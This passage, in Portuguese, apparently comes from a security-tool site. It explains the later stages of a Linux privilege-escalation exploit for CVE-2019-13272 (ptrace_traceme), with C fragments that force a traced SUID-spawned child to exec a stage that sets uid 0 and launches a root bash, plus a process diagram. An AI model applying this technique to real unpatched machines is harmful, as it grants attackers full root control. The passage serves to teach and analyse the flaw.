root@kitploit:~
A função middle_stage2 também chama force_exec_and_wait, o que fará com que a tarefa B use ptrace para controlar a tarefa C a executar a função execveat, substituindo a imagem da tarefa C pelo arquivo binário do exploit e o parâmetro é stage3``` c
153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");
157   return 0;
158 }

Quando o arquivo binário de exploit é executado com o parâmetro stage3, ele executará a função spawn_shell, portanto o estágio final da task C é executar spawn_shell.``` c 160 static int spawn_shell(void) { 161 SAFE(setresgid(0, 0, 0)); 162 SAFE(setresuid(0, 0, 0)); 163 execlp("bash", "bash", NULL); 164 err(1, "execlp"); 165 }

root@kitploit:~
Na função spawn_shell, primeiro ela usa setresgid/setresuid para alterar o real uid/effective uid/save uid do processo para root. Como a tarefa C acabou de executar o binário suid e alterou seu próprio euid para root, setresuid/setresgid pode ser executado com sucesso. Neste momento, a tarefa C se tornou um processo root completo. Por fim, executa execlp para abrir um shell, e este shell terá todos os privilégios de root.``` go
       	     forks               forks
+------proc_A -----------> proc_B ------------> proc_C
|       |                   |                    |
|     Wait B                |                    |
|     And attach            |                    |
|     Execve stage 2 in B   |                    |
+-------+-------------------+--------------------+
stage 1 |                 pkexec              get privileged tracer
|       |                   |                    |
|       |                   |                    |
|       |                 Unprivileged        exec SUID binary,
|       |                 Traced by A         become privileged, SIGTRAPed
+-------+-------------------+--------------------+
|       |                   |                    |
stage 2 |                 Wait C,                |
|       |                 Execve stage3 in C     |
|       |                   |                    |
+-------+-------------------+--------------------+
|       |                   |                    |
|       |                   |                    |
stage 3 |                   |                 setresuid to 0, 0, 0
|       |                   |                    |
|       |                   |                 exeve bash as root :)
+-------+-------------------+--------------------+

Citações

https://www.anquanke.com/post/id/193863#h2-3 https://jm33.me/cve-2019-13272-linux-lpe-via-ptrace_traceme.html

DatntSec. Viettel Cyber Security.

Baixar ferramenta